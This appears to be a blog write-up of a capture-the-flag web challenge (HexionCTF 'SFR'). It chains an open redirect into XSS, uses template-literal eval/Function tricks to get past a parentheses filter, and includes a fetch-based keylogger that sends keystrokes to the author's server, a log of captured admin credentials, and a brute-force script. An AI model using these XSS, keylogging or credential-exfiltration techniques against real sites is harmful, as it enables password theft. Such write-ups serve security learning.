Tuesday, April 14, 2020

SFR || SanitizedXSS & 1PasswordManager // HexionCTF


SFR // HexionCTF
We get some webapp.


 we try to login with user=”aasd” and “password” – and we’re in! Aren’t we?
.
That’s cool, so we get to send to the admin some url and he’ll probably enters it, right?
Well… Yes, if we put our ip we get some response (opening up my own AWS instance with some small python server listener gave this result):
34.76.228.102 - - [12/Apr/2020 01:34:02] "GET / HTTP/1.1" 404 –
Sweet. What’s next?

The hint says that: 
1. The password is after login.
2. The admin have password manager installed.
Trying to login with “admin”/”admin” just for test gave us this result: “Invalid Credentials” – cool so it means we want to get it’s password right (also they say in the challenge the password waits for us there).

Vulnerabilities
1. Open-Redirection:When you login you see this:
b.       Oh, cool, so what can be next would you ask?
c.       First, any site can be here
d.       http://34.76.228.102:2003/login?next=<YOUR_IP>
                                                               i.      E.g – awesome open redirection vuln.
                                                             ii.      But, what it does with this IP?
                                                           iii.      Yes, you guessed correctly, this will be placed in the form action area.
So, the first vulnerability open-redirection looks like this code-wise:
            <form method="post" action=OUR_NEXT_GET_PARAM>
                <input name="username" id="sfrusername" type="text" placeholder="Username"/>
                <br>
                <input name="password" id="sfrpassword" type="password" placeholder="Password" />
                <br>
                <button class="good" type="submit">Login</button>
            </form>
2          2. XSS: Well, not just that of-course, as it can lead us also to xss vuln code:
At first, I was trying to place in there “/> <script>alert(1)</script>” – but got no response / response sanitize, so there is probably a sanitation, right? … well not quite exactly.
Well placing this (http://CHALL_SITE/login?next=http://www.barakolo.me%20onclick=alert``) will get us:
            <form method="post" action=http://www.barakolo.me onclick=alert``>
                <input name="username" id="sfrusername" type="text" placeholder="Username"/>
                <br>
                <input name="password" id="sfrpassword" type="password" placeholder="Password" />
                <br>
                <button class="good" type="submit">Login</button>
            </form>
This will actually add event handler that can do arbitrary Js in this site! Cool! (no csp whatsoever, nice nice nice).
This will actually pop-up a message when we click on login button – cool.
We placed `` to bypass the checks for () which aren’t allowed in this scenario.
Nice, So what now? Let’s see if we get some response admin enters this site when we will sent to him this xss.
Well, unfortunately it didn’t work, why?
Well probably mouse isn’t used there at all, so how can after all trigger js code?
Triggering JS at load:
I started to put any onX event handlers to see what gave me a response.
Keep also in mind we need to place a valid param (no () and other chars like >< are sanitized as well)
I have put this:
This WORKED! We got some response back to us, nice.
Now , finding minimal exploit that sends back info to our server, was a game of like trying this:
and also this right after
And trying this also worked so
Cool, so wait wait – then it probably means that user entering keyboard events? Does it?
All the password-manager:
In the next step according to the challenge description – the admin has password manager, oh cool cool – so the user enters its password there right? Sounds interesting.
In this stage I thought about this scenario:
If the password manager (we don’t know which password manager it is) supports auto-fill and auto-login kinda ways maybe we can trigger it – and make the user send to us user and password!! Why? Because this is exactly the form action so if we can trigger it to fill and submit we are winning, right?
Trying this:
1.       Send some js that sets autocomplete attrs to correct for username and password might also click the submit button when finish filling, right?
So this was the next thing I tried, which sets autocomplete attributes & and in the end you can see also that I added some xhr request-  why? To sniff some of the keyboard keys to get back to us probably 😊
Cool, But it didn’t worked unfortunately, the message didn’t submitted and we didn’t got any POST message in our web-server.
What’s next?
Yes you guessed that right – let’s try hook the keyboard messages to see what’s in there.

Couple of challenges here:
1.       Write arbitrary js code – many things are sanitized (“<>()” and ” is kinda part of termination for this eventhandler), request line limited by 4094 (we actually get this number as a response if we will put big enough number). So not any arbitrary code can be written this way.
2.       I found that we probably don’t really get all xhr requests we’re doing / keyboard-messages – why? Maybe because the user closes really fast it’s browser? Maybe the user have delayed connection and up/down from internet connection? We can’t really know – what we do know that according to this we kinda want our js code to sniff what it can from the password manager kinda and close fast.
3.       Some XHR requests came to my server un-ordered which made it a bit difficult to assume which letter came before the other (it can also be by the server / connection / the way maybe AWS handles new tcp connections that come to the server and many many kinda more, my focus isn’t to improve AWS so I thought to make it a little better).

Solution for arbitrary JS:
eval is ok (and also great) to do 😊 sooo – let’s utilize some cool unicode encoding:
eval(‘ANY ARBITRARY JSCODE WITH UNICODE ENCODING LIKE \uXXXX’) … but wait? Didn’t we say () isn’t allowed? Yes you’re pretty right.
But this works as well eval`document.cookie=1` - it’s actually cool thing called template literals in js.
Nice, But eventually – remember, I wanted to hook some event listener into keypress events or something like that, how?
Usually its done like this: e.addEventListener(function(e) {I am here}); - but here we CANNOT replace the () as it’s not template literal. Bummer. So what can we do?
Let’s just define it!
Function`UNICODE-ENCODING-JS-CODE` - cool! It works.
I used this method to define arbitrary js code which runs whenever user clicks our site. It looks like this:

Writing JS-Keylogger:
Let’s try to keylog anything user enters and get the password right? Well well, hell yeah 😊
I next tried to put function(e) {fetch(‘MY_SITE’ + e.keyCode)} – anf got the cool word!! “admin”!!! yes so it probably autofills stuff for an admin, right?
Let’s try to get the password – I tried to change the input form which my event listener was hooked on but to my surprise. I was getting a lot of message, weird keyboard pressed with many values – so maybe, I think, I thought it was password-manager (probably an extension?) trying to auto-fill forms and stuff to setup other data relevant to him.
When unexpcted thing occurred when I’ve observed – user had more input elements – than I did in my screen. So I tried to capture many of these but got many non-relevant probably data, for example like this:
GET /112/0 HTTP/1.1
34.76.228.102 - - [13/Apr/2020 11:31:49] code 404, message File not found
34.76.228.102 - - [13/Apr/2020 11:31:49] "GET /112/0 HTTP/1.1" 404 -
GET /67/1 HTTP/1.1
34.76.228.102 - - [13/Apr/2020 11:31:49] code 404, message File not found
34.76.228.102 - - [13/Apr/2020 11:31:49] "GET /67/1 HTTP/1.1" 404 -
GET /51/2 HTTP/1.1
….
The number after it – means the order they where captured to tryina maintain some order, unfortunately it stull seemed to be a little unordered when it reached our servers and mainly we wasn’t really sure what was the correct input form was.

Just Posting Back to-us:
Wait, but this fills a login string with open-redirection – then why not post it back to us?
What do you mean? Let’s place action=OUR_SITE, when form is submitted the current user/password filled is the correct relevant password, right? COOL!
Doing this and placing this string got me that kinda cool thing:
One of the requests where:
('POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n', '/', 'Host: 54.175.112.255\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\n', 'username=admin&password=j6QlMyx4lf2bSZp')
Oh yesss!!! So the password is j6QlMyx4lf2bSZp right? Well not quite yet..
Remember, we do submit in some time after we seen enough keyboard presses and just before we can do submit anymore kinda (probably because the window is gonna be closed after some time/scenario).
So, we wait for the last letter entered in some input and call submit, does it mean all the password was managed to be written? Well, unfortunately – really really not sure 😊
I tried this couple of times and put this password and it wasn’t working… but..

Famous Last words:
We probably got *almost* all the password, why? Well, remember that what we did was to wait for some keyboard messages to stop (I've counted how many messages I've seen maximal in the server side and set to submit the for when this number is reached), so maybe also the user exits sometimes *before* all the password gets written.
So, one way is to assume letter or two are missing in the end, let’s try that then, so for our game I have tried running this:
for i in string.printable:
               res = (s.post('http://34.76.228.102:2003/login',
data={'username': 'admin', 'password': 'j6QlMyx4lf2bSZp' + i}).text)
                if 'Invalid' not in res:
     print(res)

Amazing, so we finally got this as response:
hexCTF{pa55w0rd_m4nag3rs_c4n_hav3_vuln3rabilit1es_t00}

Cool, been there, done that 😊



No comments:

Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup In this challenge – we are given docker webserver with the following files: 1.       Dockerfile 2.       Simple Flask we...